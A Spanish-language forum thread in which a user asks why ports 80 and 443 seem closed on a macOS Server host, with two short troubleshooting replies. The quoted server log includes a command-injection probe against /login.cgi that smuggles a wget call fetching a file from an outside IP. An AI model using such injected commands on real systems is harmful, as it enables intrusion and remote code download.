cuento corto
Los puertos 80 y 443 parecen estar cerrados en mi servidor MacOS (comprobado con Network Utility) - no puedo acceder a ningún sitio web tanto desde la red local como desde Internet.
He reiniciado el servicio de sitios web y he reiniciado el servidor varias veces.
¿Cómo reabrir los puertos 80 y 443?
larga historia
Tengo un par de sitios web alojados en mi servidor MacOS con el servicio Websites.
Funcionaba bien hasta hace 2 días.
Ayer me di cuenta de que no podía acceder a ningún sitio web del servidor ni a través de la red local ni desde Internet. Después de la investigación me di cuenta de que los puertos 80 y 443 no están abiertos en la máquina del servidor.
He reiniciado el servidor un par de veces, he apagado y vuelto a encender el servicio de Websites, sin cambios.
No veo nada demasiado malo en los registros, aparte de una especie de petición extraña que parece ser el último acceso al servidor web desde el mundo "exterior" y que dice lo siguiente
default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
Ejecuto la versión más antigua de la aplicación Server - 5.6.3 en MacOS 10.13.6
No he instalado/actualizado ni cambiado nada en el servidor ni en mi red local en los últimos días.
actualización
Me he dado cuenta de que tengo un montón de entradas en el registro del sistema del servidor:
... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.
independientemente de que el servicio de sitios web funcione o no
0 votos
¿Puedes conectarte a los puertos usando safari localmente? Si no es así, tendrás que centrarte en
lsof
y qué proceso está abriendo esos puertos. Si es así, entonces es el firewall o la red. Una vez que esté claro cuál de los tres es el problema, las soluciones deberían ser más fáciles de proponer.0 votos
Yo he tenido problemas similares una vez. Que yo recuerde, la única salida era desactivar (apagar) el servidor web en la aplicación del servidor por completo, reiniciar, y luego volver a configurarlo sitio por sitio.